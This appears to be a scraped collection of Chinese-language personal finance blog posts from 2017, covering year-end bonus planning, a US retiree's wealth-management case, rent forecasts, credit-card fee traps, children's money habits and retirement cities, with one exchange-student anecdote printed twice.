        辛苦整年,上班族最期待的就是年终奖金。不过,年终奖金并非“天上掉下来的礼物”,而是辛勤工作的回报,自然该妥善运用。理财专家提供 4招,让年终奖金成为改变人生的利器!

        根据 104人力银行调查,企业今年平均年终奖金为1.27个月, 比去年多 2.4天,看似小幅增加, 但仍有18.3%的企业年终奖金低于去年, 平均少0.61个月,可说是“几家欢乐几家愁”。不过,年终奖金对薪水停滞的上班族来说依然不无小补,因此多数上班族对年终奖金仍有期待。

        但调查却也指出,多数上班族拿到年终奖金后“立刻花掉”,主因是金额太少,或是不知道怎么运用。其实,即使是小钱,妥善运用仍能发挥效益,因此不管领的年终奖金是多是少,唯有用得巧妙,才能钱滚钱,为自己加薪、加值。


        至于要如何运用年终奖金呢?理财专家提出 4点建议:

        一、偿还负债:

        理财专家黄世聪建议,拿到年终后,上班族应检视自己的财务状况,若有卡债、个人信贷等债务,最好快点先还清,“因为这类债务利息很高”,若不先还清,很将成为往后负担。

        但若是像房贷等低利债务,则不必急于还清,多出来的钱可拿来投资,只要投资报酬率优于房贷利率,就比较划算。

        不过理财专家萧世斌提醒,虽然许多投资工具的投报率都能超过房贷利率,但投资一定有风险,在决定投资前必须衡量自己的风险耐受度,“假如无法承担风险或是报酬率不到2%,那不如把钱拿去还房贷”。

        二、投资理财:

        萧世斌说,一般而言,年纪轻、尚未成家的上班族由于开销小,可多放些钱来投资,且投资风险承受度较高,也能选择积极型的投资商品,以适当风险追求合理报酬。他建议可增加股票型基金的投资部位,小部分投资风险较低的债券型基金,尽可能获取最大报酬。

        至于中年上班族需要负担家计,消费可能比较多,投资比重减少,且适合选择稳定型的的投资标的,避免承担过高风险。黄世聪建议,追求稳健投资的上班族,可买台湾50 等ETF,采定期定额方式购买,藉由扩大投资区域分散风险,就无需担心选错标的而蒙受损失。

        若想追求较高获利,黄世聪建议可买波动较大的股票,由于今年原物料价格止跌回升,因此推荐传产、钢铁类股。若想去海外资本市场试水温,黄世聪认为,美元看升,可以投资美元资产;而在海外基金方面,则以俄罗斯、巴西与原物料相关的基金为首选。

        三、紧急预备金与做慈善:

        若扣除还债与投资理财后还有存款,则可累积个人的紧急预备金达 6个月生活费的水准,以因应临时紧急需求;若还有剩余,不妨捐一部分的奖金给慈善机构,让弱势团体也能过个“好年冬”,还能为自己节税。

        四、犒赏自己

        萧世斌表示,人生不是只有未雨绸缪,也要及时行乐,“不要当钱奴”。若前面 3个步骤都已确实完成,剩下来的年终奖金,何不满足自己的愿望?无论是出国旅游调剂身心,或是买个奢侈品犒赏自己,都是最好的选择。但 《真实》杂志(Real Simple)也提醒,犒赏自己的预算,别超过年终奖金的20%。

        2017-05-01 / by / in , ,
        美国富人理财实例分析

        投资不仅只是赚钱,还有对风险的管理控制。为规避风险,在通常的投资之外,理财顾问会建议选择一些与股票市场、房产市场不相关(non-correlated)的另类投资,譬如黄金、石油、艺术品、古董、农田、天然钻石等,这部分资产不受股市、房市波及,从而保障总资产安全。


        理财顾问的角色就像是一位教练

        理财顾问会了解客户的诉求,帮助其资产实现最大“潜能”,或为其提供更多的机会。方法主要是统筹规划,借助现有的资源、合作伙伴,和专业的信息资源,实现最大化收益。理财顾问从中起到整合、管理、监控、指导的作用。

        美国税务繁重,为了避税最大化,富人通常会聘请理财顾问与其会计师CPA配合,会计师负责具体的报税,理财顾问起监督的作用,例如:有没有达到最大的节税效果?有没有其他方式包括利用投资去减税?

        美国不崇尚把钱放在银行不动。把现金拿去投资可以节税,相反,如果放在银行里不动则要缴很多税。有人说,美国人穷,没有多少存款,实际上,一些美国人习惯于只存放必备的生活金,其他的拿去做投资,既创造额外收入,又能抵税。

        理财实例:一位73岁的外科医生,已退休。

        资产状况:总资产890多万美元,其中房产价值60万,没有房贷,有地产约10万元,IRA账户390万元,在6个公司开设了股票投资账户,共270万元,现金有120万,三个年金账户,共57万。

        年收入状况:超过70岁半,依据政府规定,这位先生从IRA中领取最低提款额即RMD,每年11万,股票红利3.7万元,年金收益3.2万元,这些都需要缴税。年应税收入额24万多,须缴税5万多。

        在理财规划师徐翊绫建议下,这位先生的财务管理做了下述调整。

        现金管理家庭年生活消费仅需8至9万元,包括了旅行、医疗费用,远远低于年收入现金额。考虑到客户已经退休,预留了2年的生活储备金。因为股票市场在大波动的时候,一般2年会反转,所以留2年的现金储备已足够。其中头三个月的放支票账户,第4月到6月的放高收益储蓄账户(High-Yield Savings account),剩下18个月的部分放地方政府债券(Municipal Bond)。余出的100万现金拿去再投资。

        投资账户管理:检查发现此前的股票经纪人存在过于频繁的交易,有时候买同样的产品,短时间多笔交易,有故意收取大量代理交易费的嫌疑。为简化统筹,将6个股票投资账户减到1个,减少了投资支出成本。徐翊绫解释说,不将鸡蛋放在同一个篮子里,本意是避免投资于单一类型的资产类型,但放在一个股票投资账户仍有多样的投资选择,不存在单一类型投资风险。此外,卖掉之前高分红、税率高的股票,转为持有资本利得型股票。

        税务规划:因为生活开支不需要更多现金,所以尽力将年度应税收入控制到10万元或以下。方法是如果某项收入可以递延领取,则当年不领取,或减少领取额度,实现节税,或主动贷款、增加抵税额。比如,1)将三个年金账户汇集成一个账户,且不再取出当年的年金收入,让其继续累积。2)尽管房产贷款已经付清,但主动再次贷款,一方面可以抵税,一方面将贷款用于投资。规划之后,抵税额增加了9万元。

        遗产规划:890万资产在法定的遗产免税额内(2014年免税额度夫妻合计1,068万元),且已经做信托。

        危机管理:这对夫妇都持有红蓝卡,已购买part D部分、补助性医疗保险计划、和长期护理保险,但长期护理保险额度不够高,且不便更改,解决办法是通过投资管理,专门设置一个利润区块作为长期护理的储备金。此外,AMX公司主动免费帮客户购买2,500万元的SIPC保险,意思是,即使理财公司倒闭了,每位客户可获得2,500万、夫妻可获得5,000万的赔偿保障。◇

        2017-05-01 / by / in , , , ,
        美国2017房租缓升 西岸科技城市涨最快

        科技热潮正带动全美房租上涨,据美国最大房地产资讯网Zillow周五(7日)发布的预测,这一势头在2017年有所放缓;而房租涨幅最大的十座城市中,西海岸的科技中心城市占去七席。


        据美媒“商业内幕”(Business Insider)报导,近年来,年轻人受丰富的就业机会和高待遇吸引,纷纷迁居西雅图和旧金山等高科技产业集中的城市,由于房源有限,带动当地房租不断上涨。好消息则是,据Zillow预测,全美的房租中位数明年只会提升1.7%,和今年较去年6%的涨幅相比,堪称大幅放缓。

        “先前我们看到有些地方房租涨了10%,预计明年这些地方的增幅多会在4%至7%的范围。”Zillow首席经济学家古德尔(Svenja Gudell)表示,“这仍很高,不过应能让一些租房者减轻点重负。”

        2017年房租涨幅预计最高的美国10城市依序为:

        1. 西雅图(Seattle)— 7.2%
        2. 波特兰(Portland)— 6.0%
        3. 丹佛(Denver)— 5.9%
        4. 辛辛那提(Cincinnati)— 5.2%
        5. 旧金山(San Francisco)— 4.9%
        6. 洛杉矶(Los Angeles)— 4.8%
        7. 萨克拉门托(Sacramento)— 4.7%
        8. 圣地亚哥(San Diego)— 4.7%
        9. 凤凰城(Phoenix)— 4.6%
        10. 圣何塞(San Jose)— 4.5%

        以下则是Zillo发布的美国房租变动走势图表,各城市数据可在图中进行下一级检索。

        2017-04-30 / by / in , , ,
        路上捡钱?全美百个1美分硬币各值1000美元

        看到路上躺着一美分,多数人都不会有要把它捡起来的想法,但是从现在开始,在美国十个城市压马路时,可要睁大眼睛了,因为捡到的某些“一美分”的价值,会立马增为十万倍。


        美国盟友银行(Ally Bank)为了改变美国人小看一美分的想法,本周推出“幸运美分”(Lucky Penny)活动。

        总部设在底特律的盟友银行,特别订做100个很像一美分的铜色假币,有一面是该银行的标志,另一面不是亚伯拉罕.林肯的头像,而是价值100,000美分的字样,上面还写着“LUCKY YOU”。捡到的人在本年底前都可兑现1,000美元。

        盟友银行在纽约、洛杉矶、芝加哥、华盛顿特区、迈阿密、丹佛、底特律、圣地亚哥、北卡罗来纳州夏洛特、德州奥斯汀等十个城市的公众看得到的地点,放置这些幸运美分假币。

        该银行表示,希望通过这个活动鼓励美国人了解储蓄的益处,首席执行官兼总裁莫雷斯(Diane Morais)在一份声明中表示:“重要的是,每个人都应该了解,长期定期储蓄即使是最小金额,都可以积少成多创造财富。”

        2017-04-30 / by / in
        美国学生暑期活动是美国大学申请的重要组成部分

        美国大学申请表上会问:你过去两年的暑假做了什么?如果孩子进的是顶级夏令营,如:SIMR(Stanford Institutes of Medical Summer Research Program)、RSI (Research Science Institute )、SSP (Summer Science Program),将有机会让招生官印像深刻。为什么呢?顶级暑期项目的入学率比哈佛的录取率还低!说明被录取的学生具有全国性竞争力。


        暑期活动总是琳琅满目,如何做出正确的选择是关键。针对你自己的目标,做出仔细的暑期规划。暑期活动的正确的选择,不仅帮助学生在大学申请中脱颖而出,充分展现出名校青睐的强烈求知欲,也为学生未来成功的职业和人生打下良好的基础。

        进入顶级美国暑期项目,对美国名校申请是一针强心剂

        进入顶级暑期项目对报考大学是一针强心剂。而且在顶级暑期项目中认识的朋友,所得的启发和体验,积累的人脉,也能让孩子受益终生。对于热爱科学,特别是希望日后在科学或医学领域,继续深入学习发展的高中生来讲,斯坦福医学院的夏季研究计划(SIMR)不容错过!当然你需要认真准备才能得到这个机会。

        2017-04-30 / by / in , , ,
        美国女孩给中国家长的6个惊诧

        大陆南京某学校与美国初中互派交换生,美国的一个学生住到了中国学生家里,在接触的一段日子里,美国学生给中国学生家长留下了深刻印象。
        11月11日,网上一篇〝美国女孩中国家长的6个惊诧:中国娃还差很多〞的文章,引起关注。文章中说:〝短暂的一周时间,给了我6个大大的惊诧!而我们是在培养怎样的孩子?过分的溺爱、频繁的干预、过度的保护,导致了我们的孩子无情和无能。〞 〝未来我们只是在为人家输送打工仔,再优秀充其量也就是个高 级打工仔!〞


        以下是这位美国女孩给中国家长的6个惊诧:

        一、赞美

        这位美国女孩子个头比作者的孩子高出一个头,瘦削高挑,皮肤白皙,脸上露着真挚的微笑,非常动人。

        第一顿早餐,作者准备的是扬州的包子和小馄饨,孩子们 吃得很开心,美国孩子也使用筷子,说是为了入乡随俗特地学习的。在用餐尾声时,美国女孩对她说:〝这是我吃过的最好吃的早餐,非常谢谢您!〞

        对美国孩子的赞美,作者第1次被惊到了。〝给我孩子做了十几年的饭菜,也没听到啥赞誉的话。〞

        二、习惯

        晚餐,作者做了最拿手的西红柿炒鸡蛋、糖醋排骨等三菜一汤,大家边吃边聊,非常开心。

        吃完饭,作者开始收拾碗筷时,美国女孩连忙站起来对她说:〝Can I help you?〞作者第2次一惊,〝我的孩子看着我忙碌了十几年都习惯了,基本是熟视无睹。而美国女孩能为对方着想,瞬间做出本能的反应,看来是习惯使然。〞

        三、作业5小时

        大家比较熟悉后,想问啥就问了。看到女孩的护照已经很破旧了,作者就好奇地问:〝你走过了哪些国家?〞女孩的回答让她第3次被惊到:〝这是我的第3本护照,大概走过了30多个国家。〞

        女孩见她惊诧的表情解释说:〝一般假期,我们学校都组织同学出去游学。这次是第一次到中国,主要去上海、南京、北京和西安。〞这四个城市是家长和老师们精心挑选出来的,基本代表了中国的过去和现在。

        对于她们这样周游世界作者所担心的学习,女孩解释:〝我们平时的学习任务很重的,每天回家的作业量是5小时。〞作者表示,〝就这个‘5小时’把我丫头给震住了。〞

        作者介绍了美国女孩家庭的基本情况:爸爸在自己的企业工作;妈妈基本是家庭主妇,不上班,但是美国女孩强调她的妈妈很辛苦,要负责家里的日 常生活、草地、游泳池和直升机的日常养护;哥哥负责洗碗和协助妈妈搞卫生;她则是负责家里两条狗和三只猫的衣食起居。一家人各负其责,井井有条。

        作者感叹:我们家是 爸爸、妈妈要上班,妈妈还要负责全家的生活,孩子是两耳不闻窗外事只管学习。在对家庭义务和责任方面明显的我们差距很大。

        四、独立生存

        作者第4次被惊到的是听俩孩子聊天,讲的是美国家长们锻炼孩子们的生存能力:有一年的暑假,几个家庭的父母把几个10多岁的孩子送到原始森林里,没给带水和食物,没有床和帐篷,跟孩子们相约一周后来接。那一周是这个孩子最恐惧的,也是最刺激的。女孩说,为了不挨饿,他们生吃过抓来的老鼠。

        五、有原则

        作者第5次被惊到的是最后一顿晚饭。女孩快要离开南京了,为了尽地主之谊,给她尝尝最美味的中国菜,作者带女孩到了南京最繁华的地段——狮子桥,点了获国家金奖的〝鸡煲翅〞,当女孩明白是鱼翅做的,她非常坚决地拒绝了这道菜:〝这道菜我无法接受,动物需要保护。〞没有任何回旋的余地,甚至是不近人情。〝我汗颜之余,敬佩之情油然而生。〞

        六、懂理财

        饭后,几个孩子相约到附近的电玩城去玩,除了作者的孩子和美国女孩外,还邀请了作者女儿的两个好朋友。

        作者的女儿跟她讲述了整个玩的过程:〝妈妈,太可怕了,美国人太厉害了!一进电玩城,我的两个好朋友就上去玩了,什么好玩玩什么。看得出平时繁重的学习压力在这一刻被化解了。而美国女孩子则拉着我边走边观察什么 游戏盈利最大,转了一圈才锁定目标,美国女孩子赢了很多游戏币,分给我们3个,再去找自己感兴趣的游戏玩。〞

        〝我这一次不仅仅是惊了,简直是被震撼了:小小年纪就知道如何做到利益最大化,处处深思熟虑,确实是太可怕了。〞

        作者说其孩子说了一句让她思考至今的话:〝妈妈,我们这样下去,以后真的只能是给他们打工的啊……〞

        作者最后表示:目前的复印机式的教育消耗着孩子们的精力,限制了孩子们的追求。自然是孩子的天性,自由是孩子的本性,扼杀天性和本性,就是扼杀成长的活力和动力,如此的教育能培养出创造性的人才吗?

        大陆南京某学校与美国初中互派交换生,美国的一个学生住到了中国学生家里,在接触的一段日子里,美国学生给中国学生家长留下了深刻印象。
        11月11日,网上一篇〝美国女孩中国家长的6个惊诧:中国娃还差很多〞的文章,引起关注。文章中说:〝短暂的一周时间,给了我6个大大的惊诧!而我们是在培养怎样的孩子?过分的溺爱、频繁的干预、过度的保护,导致了我们的孩子无情和无能。〞 〝未来我们只是在为人家输送打工仔,再优秀充其量也就是个高 级打工仔!〞

        以下是这位美国女孩给中国家长的6个惊诧:

        一、赞美

        这位美国女孩子个头比作者的孩子高出一个头,瘦削高挑,皮肤白皙,脸上露着真挚的微笑,非常动人。

        第一顿早餐,作者准备的是扬州的包子和小馄饨,孩子们 吃得很开心,美国孩子也使用筷子,说是为了入乡随俗特地学习的。在用餐尾声时,美国女孩对她说:〝这是我吃过的最好吃的早餐,非常谢谢您!〞

        对美国孩子的赞美,作者第1次被惊到了。〝给我孩子做了十几年的饭菜,也没听到啥赞誉的话。〞

        二、习惯

        晚餐,作者做了最拿手的西红柿炒鸡蛋、糖醋排骨等三菜一汤,大家边吃边聊,非常开心。

        吃完饭,作者开始收拾碗筷时,美国女孩连忙站起来对她说:〝Can I help you?〞作者第2次一惊,〝我的孩子看着我忙碌了十几年都习惯了,基本是熟视无睹。而美国女孩能为对方着想,瞬间做出本能的反应,看来是习惯使然。〞

        三、作业5小时

        大家比较熟悉后,想问啥就问了。看到女孩的护照已经很破旧了,作者就好奇地问:〝你走过了哪些国家?〞女孩的回答让她第3次被惊到:〝这是我的第3本护照,大概走过了30多个国家。〞

        女孩见她惊诧的表情解释说:〝一般假期,我们学校都组织同学出去游学。这次是第一次到中国,主要去上海、南京、北京和西安。〞这四个城市是家长和老师们精心挑选出来的,基本代表了中国的过去和现在。

        对于她们这样周游世界作者所担心的学习,女孩解释:〝我们平时的学习任务很重的,每天回家的作业量是5小时。〞作者表示,〝就这个‘5小时’把我丫头给震住了。〞

        作者介绍了美国女孩家庭的基本情况:爸爸在自己的企业工作;妈妈基本是家庭主妇,不上班,但是美国女孩强调她的妈妈很辛苦,要负责家里的日 常生活、草地、游泳池和直升机的日常养护;哥哥负责洗碗和协助妈妈搞卫生;她则是负责家里两条狗和三只猫的衣食起居。一家人各负其责,井井有条。

        作者感叹:我们家是 爸爸、妈妈要上班,妈妈还要负责全家的生活,孩子是两耳不闻窗外事只管学习。在对家庭义务和责任方面明显的我们差距很大。

        四、独立生存

        作者第4次被惊到的是听俩孩子聊天,讲的是美国家长们锻炼孩子们的生存能力:有一年的暑假,几个家庭的父母把几个10多岁的孩子送到原始森林里,没给带水和食物,没有床和帐篷,跟孩子们相约一周后来接。那一周是这个孩子最恐惧的,也是最刺激的。女孩说,为了不挨饿,他们生吃过抓来的老鼠。

        五、有原则

        作者第5次被惊到的是最后一顿晚饭。女孩快要离开南京了,为了尽地主之谊,给她尝尝最美味的中国菜,作者带女孩到了南京最繁华的地段——狮子桥,点了获国家金奖的〝鸡煲翅〞,当女孩明白是鱼翅做的,她非常坚决地拒绝了这道菜:〝这道菜我无法接受,动物需要保护。〞没有任何回旋的余地,甚至是不近人情。〝我汗颜之余,敬佩之情油然而生。〞

        六、懂理财

        饭后,几个孩子相约到附近的电玩城去玩,除了作者的孩子和美国女孩外,还邀请了作者女儿的两个好朋友。

        作者的女儿跟她讲述了整个玩的过程:〝妈妈,太可怕了,美国人太厉害了!一进电玩城,我的两个好朋友就上去玩了,什么好玩玩什么。看得出平时繁重的学习压力在这一刻被化解了。而美国女孩子则拉着我边走边观察什么 游戏盈利最大,转了一圈才锁定目标,美国女孩子赢了很多游戏币,分给我们3个,再去找自己感兴趣的游戏玩。〞

        〝我这一次不仅仅是惊了,简直是被震撼了:小小年纪就知道如何做到利益最大化,处处深思熟虑,确实是太可怕了。〞

        作者说其孩子说了一句让她思考至今的话:〝妈妈,我们这样下去,以后真的只能是给他们打工的啊……〞

        作者最后表示:目前的复印机式的教育消耗着孩子们的精力,限制了孩子们的追求。自然是孩子的天性,自由是孩子的本性,扼杀天性和本性,就是扼杀成长的活力和动力,如此的教育能培养出创造性的人才吗?

        2017-04-30 / by / in ,
        培养孩子正确的金钱观

        现在的孩子都是“独苗苗”,很多孩子都没有正确的金钱观念,由于他们可以得到任何自己想要的东西,手里永远有用不完的零花钱,因此,他们不是认为“钱是大风刮来的”,就是认为“钱是树上结的”,而这种思想很容易让孩子们不了解赚钱的辛苦,养成大手大脚花钱,不懂节约的坏习惯,更不能让孩子学会理财。那么,如何培养孩子正确的金钱观呢?

        1.定期定量的给孩子零用钱。

        父母可以和孩子约好每个月或是每周发一次零用钱,并且告诉孩子在下次发零用钱之前,不可以再要。孩子在这段时间可以自己规划自己的钱,可以教孩子一些小的理财知识,比如,可以存起来生利息,如果自己想买喜欢的玩具就要学会零存整取。时间长了,孩子就可以养成好的花钱习惯。在此期间,父母切忌不可以因为孩子的哭闹或是撒娇了再给孩子钱。


        2.培养孩子记账的习惯。

        刚开始时,父母可以帮助孩子在领到零用钱时,就先把未来一个周期所需要的花费记录下来,额外的支出也要随后一一记录,养成孩子记账的习惯。几个月后,家长不但可依这份资金流量表,检视孩子的消费倾向,了解他对金钱的价值观与感受,万一发现偏差,也可以适时纠正。

        3.培养储蓄观念。

        如果让孩子花钱之前想一想,过完这一周期,钱还够不够用,就可以逐渐养成孩子储蓄的习惯。培养储蓄观念主要是为了避免孩子有过度消费行为,让他知道买东西还得量力而行。

        4.可以协助孩子做一些工作来赚钱。

        比如父母可以教孩子卖报纸、做些小手工等来赚取一些收入,让孩子体会到赚取的不易。

        2017-04-29 / by / in ,
        美国全职太太的生财之道

        美国全职太太是一个传统。来到美国的中国人中,也出现了越来越多的全职太太。有些人相夫教子,?忙得不亦乐乎,也有些人,利用时间发展自己的业余爱好,或者做些投资、小生意,希望能为家庭多做些贡献,也体验一下成功的喜悦。
        文学城上一位全职太太用业余时间做了七七四十九天的调查, 整理了一些赚钱之道,不一定是最好的方法,但可能会对其他全职太太有些启发。她写道:


        先发个声明, 声明如下:

        1.本人不是百万富翁,也不是理财专家,只是一个每天总是做梦都想着把自己的五个房子如何变成五十个房子的俗人一枚;
        2.本文是我在网上搜集整理, 自己只试过一项;如果不能赚钱的话, 本人不能对你的精神,肉体上和经济上的损失负责;
        3.本文不适合大奶,二奶阅读,因为都是小家子生意。她们都属于上流美了, 对这些小本生意肯定是不懈一顾了。

        好了, 言归正传:

        1.变卖家产: 开玩笑了,不是要卖掉你的豪宅,而是要你卖掉你的职业装, 金银细软, 班都不上了,还什么职业装啊,装给谁看呢。而且一旦辞了职, 可能一年半载, 三年五年都上不了班了。等你再冲出江湖的时候, 您哪几套服装能早就out了。可以卖你宝贝的地方有很多, Yard Sale, 你们家城市的consignment store, 或是网上www.ebay.com , www.craiglist.com, http://www.thebudgetbabe.com, Yard Sale 最便宜,consignment商店卖的价钱比较高。

        2.一个羊也赶,俩羊也放。带家长照顾孩子同学。美国的小孩子下学很早, 如果你跟孩子的家长都很熟, 可以帮她们带小孩子,帮助监督家庭作业, 或是在教一下中文, 一个小时可以赚20-30美金呢, 这样孩子又有朋友了, 你也增加收入了。如果有三四个小孩在,在你们家两个小时, 也算小有收入啊,最重要的是, 在这孩子圈里,你美呀,你是老大啊。

        3.房子閒着也是閒着,租出一间。大部分同学家里都有贷款, 如果不閒麻烦,不嫌乱的话可以长期租出去一间,但是如果嫌吵,可以选择短租,有一个很好的网站, www.airbnb.com, 是为旅游者准备的, 如果你喜欢和来自世界各国的人打交道, 这可能是一个很好的选择。

        4.发挥你的个人才华。很多在家的太太们可能都有些才艺,或是都喜欢做点手工。能琴棋,可以在小孩子的生日上表演古筝, 或是其他乐器;能书画的,可以在社区中心, 图书馆,书店搞展览, 好多地方都不收费,或是收费很低,你卖了些画,也就小赚一笔啊。我当年爱做项炼耳环,就在我们家附近的图书馆搞了一个展览, 人家可是把我当成了民间艺人了,一分钱场地费没有收,我还赚了3000多美子呢。 (是一个月的展览啊,就是把东西放在图书馆一个月啊)。如果您真的擅长手工, 可以在www.etsy.com 上卖你的产品, 很有品位,价位好像也不错。

        5.利用一切资源去赚钱呢。同学们可能一年回国一次, 车基本就閒在家里, 还要担心人家偷走你的车, www.relayride.com 可以帮你把车租出去,一个小时一天,或是一个月,这不就又省心又赚钱吗。

        好了,这只是几个基本的,简单的,我们大家都能做的,其他的投资房地产,股票,钢铁,石油的事还是请教这方面的专家吧。

        2017-04-29 / by / in ,
        6成美国女性坦承冲动购物

        根据美国〝消费者报导〞旗下ShopSmart杂志公布的调查统计,约6成女性坦承过去1年中曾因为心血来潮而有〝冲动购物〞的消费行为。

        受到景气不佳的影响,近年不少美国民众荷包紧缩,甚至背负卡债。对于要严格控管预算开销,甚至有卡债要还的民众来说,如果经常出现〝冲动购物〞(Impulse Spending)的花钱行为,极可能让自己的财务窘境变得更加恶化。

        美国〝消费者报导〞(Consumer Reports)旗下发行的ShopSmart杂志,日前针对全美各地女性消费者进行调查,统计结果显示约60%的受访者坦承在过去1年当中曾发生冲动型购物的购物行为;约39%受访者表示自己过去1个月中曾有冲动型购物行为;承认自己经常都会有冲动型购物行为的受访者更有15%。

        这项统计发现,女性消费者会因为一时兴起而随手买下的东西,并不只限于摆在超级市场结帐区旁边、价格仅数美元的时尚流行杂志,调查显示平均起来女性消费者每笔冲动型购物的金额超过100美元。

        统计也显示,约35%受访者表示对于自己过去1年内心血来潮买下的东西,至少有1样让她们事后感到后悔。

        信用卡理财专业网站IndexCreditCards报导指出,如果因为冲动型购物而面临卡债压力的消费者,应该要设法调整自己这种随性的购物习惯。


        报导指出,改变冲动型购物的具体步骤,首先就是逐项检视自己的信用卡帐单,看看哪些是预算内的支出?哪些又是随手买下?哪些物品是真正有需要购买?,并且诚实询问自己如今回想当初买下的东西,觉得自己买了之后感到开心吗?

        美国〝全国信贷谘询基金会〞(National Foundation for Credit Counseling)则建议消费者,确实记录自己日常生活中大大小小的所有开销,如此一来才能看清楚自己花钱行为的全貌。

        IndexCreditCards报导指出,认清自己的消费模式之后,就可以分辨自己的弱点何在,看看自己是不是会在不开心或不如意时,利用花钱买东西来达到自我安慰的目的,如果有这样的情形,就要寻找更健康的替代方式。

        IndexCreditCards也建议,订定实际而完整的预算计画,把食衣住行与保险等基本花费都订好,存款的部份也预先挪好,其余剩下来的金额才能用来做为临时想买东西的消费额度。如果忍不住会刷卡购物,那就把信用卡留在家_,只让自己带少数现金出门逛街。

        2017-04-29 / by / in ,
        银行打死都不说 信用卡十大秘密

        在中国大陆,面对各种诱人的〝优惠计划〞时,消费者切忌冲动接受,一定要打破沙锅问到底,否则,你很可能掉进那些看起来很诱人的计划后面潜藏的陷阱里。这条忠告,同样适用于信用卡的使用上。如果你透彻了解了使用银行信用卡秘密,可以给自己的消费带来实惠;但了解得〝不透彻〞,实惠可就变成了负担。现在就让我们一起去揭开信用卡的各种秘密吧。


        一、账单分期提前还款仍收手续费

        案例:李莉在几个月前用华夏银行信用卡买了一台9000元的数码相机,因为数额较大,一时无法全额还款。随后,她向银行申请账单分6期还款,计算下来,每期还款1555.8元,其中每期手续费55.8元。3个月后,当她准备把剩余的钱全部还上。此时,她发现仍要还剩余3期的手续费167.4元(55.8元*3),还要外加20元的提前还款手续费。

        事实:信用卡账单分期后,决定提前还款时,如果是按月缴纳,需要把剩余月份的手续费都补齐;如果是一次性缴付手续费,也不会因为提前还款而将手续费返还。也就是说,在客户申请分期付款完成后,无论如何,这些手续费都必须承担。另外,一些银行还要加收〝坑爹〞的提前还款手续费。

        提醒:办理账单分期之前,应将提前还款等事宜谘询清楚,避免申请期限不合理,多缴手续费。目前也有银行规定,提前还清账单分期付款余额,剩余的月份不需要继续缴纳手续费。

        二、最低还款全额利息照收

        事实:进行了大额的消费,一时无法全额还款,不少人选择了最低还款额还款(一般为总欠款的10%),这样可防止不良记录产生。但算利息时,很多人才发现,利息是从消费的那天就开始算了,没有了免息期,并且采用全额计息,已还款的部分在全部额度未还清之前,仍算计息基数。以透支1万元计算,虽然已经还了9900元,算利息时还是按1万元算,而且利息还是〝利滚利〞。

        提醒:想法很美好,现实很骨感。在决定以最低还款额还款之前,还是要把情况搞清楚了。

        三、信用卡不能当储蓄卡

        误会:不少刚办信用卡的人都会往信用卡里面存钱,因为这样,刷卡消费也会获得积分。但这时候银行就在偷着乐了,因为损失的是持卡人。

        事实:目前各家银行取现收费标准各不相同,有的银行收取1%,最少要收10元;有的银行收取2.5%,最少要收50元。

        提醒:往信用卡里存钱,〝进去〞了,就没那么容易〝出来〞了,这种无私奉献的〝蠢事〞还是少干为好。

        四、信用卡取现不免息

        误会:有些人认为信用卡取现和刷卡消费是一样的,都可以享受免息期待遇。

        事实:目前各银行都规定,信用卡取现要付利息,不享受免息期待遇,大多数信用卡都是按每天万分之五的利息算,折算成年息超过18%。另外,大多信用卡取现还要缴纳高额取现手续费,只有少数信用卡免除手续费。

        提醒:想要〝算计〞银行的免息期,那就让身边朋友把现金给你,借用你的卡消费吧。

        五、分期付款难捡便宜

        诱因:目前各家银行都和商家推出了信用卡分期付款业务,让持卡人用信用卡在商场购物后,与银行约定分为多少次还清透支金额,银行在约定还款期内不收透支利息,这看上去很美。

        事实:银行并不是白白地把钱借给持卡人用,只是把信用卡透支利息变了个花样而已。持卡人在办理免息分期还款时,银行每月要收取一定的手续费,一般比同档次的贷款优惠利率高得多。

        提醒:天上是掉不下馅饼的,对零利息噱头背后的〝陷阱〞要小心。

        六、信用卡并非越多越好

        事实:手头的信用卡太多,持卡人容易混淆各张信用卡消费了多少金额、还款期是什么时候,从而造成还款拖欠等现象,而且积分也会散到各个卡里,并不划算,也给自己造成了不小的〝理财负担〞。

        提醒:多多益善,这不是谁都能驾驭的。信用卡多了,玩不好,优惠变负担。

        七、与储蓄卡绑定也不能高枕无忧

        事实:办信用卡时选择与已经办理储蓄卡的同一银行,这样,信用卡就直接和储蓄卡挂钩,到还款日就会自动全额还款,而且不收取手续费。这个方法看起来蛮好,似乎因此可以不必担心忘记还款日,从而产生逾期等不良记录。然而,还是要小心,友情提醒:用信用卡消费的时候可要悠着点,如果储蓄卡里的还款金额不够,未能一次全额还款照样要付利息。

        八、密码比签名更安全

        事实:目前以签名作为信用卡的消费凭证是国际银行业的主流,而在中国大陆却是相反,密码比签名更安全。因为在大陆没有多少人去验证签名,一旦信用卡被盗刷,处理起来是相当麻烦的。因此,更为保险的还是采用密码+签名的形式。

        提醒:国外的经验还是算了吧,到什么山唱什么歌。在中国大陆,还是老老实实地使用秘密+签名的传统模式吧。

        九、超额刷卡有〝超限费〞

        信用卡超限费,估计很多卡民们没有听说过,但这项费用确实存在。
        事实:为了避免产生超限费,持卡人必须在临时额度结束期限之内(一般为一个月),将超出原本额度的部分还清,否则就会多出一笔额外的开支。

        提醒:提高信用卡临时额度,确实可以给我们带来不少方便,但不要忘记这个额度是临时的。还款前要向银行谘询清楚,不要让临时额度〝坑〞了你。

        十、积分可能让你空欢喜

        事实:越来越多的持卡人反映,自己积分的价值越来越低,而且积分也越来越难获得,目前大部分银行就把购房、购车等大额消费排除在积分范围之外。即使在〝大方〞一点的银行,消费400元获得的积分也只可能兑换价值1元的物品,而最小气的光大银行则需要消费1310元,才能兑换价值1元的物品。

        2017-04-29 / by / in ,
        旧金山等5地:全美最宜退休住

        财经暨个人理财网站〝Kiplinger〞报导,维吉尼亚州沙洛兹维尔(Charlottesville)等5个城市有医生多、65岁以上居民多、消费不太高等特点,获选最适合退休的美国城市。


        Kiplinger指出,全美5个最适合退休城市的评选标准,是以退休后的老人需要追求什么样的生活品质为衡量重点。医生数目多、65岁以上居民的人口比例较多、日常生活与消费水准不会太高等对老年人有利的条件,都是实际考量的因素。

        另外,各州州税税率高低的比较、退休老年人是否享有某些免税优惠、犯罪率高低、前往机场的距离远近、当地交通系统是否完善,以及从图书馆、剧场到爬山、打高尔夫球等休闲娱乐设施是否方便使用,也都列入评估。

        Kiplinger评估结果选出5个最适合退休的美国城市,包括沙洛兹维尔、阿拉巴马州的多丹(Dothan)、佛罗里达州的棕榈湾(Palm Bay)墨尔本(Melbourne)蒂杜斯市(Titusville)大都会区、匹兹堡、旧金山

        评估报告指出,沙洛兹维尔城市人口为4万1200人,家庭平均年收入为5万6833美元,65岁以上老人享有最高1万2000美元的个人所得税减免,社会福利保障(Social Security)退休福利不必缴州税。

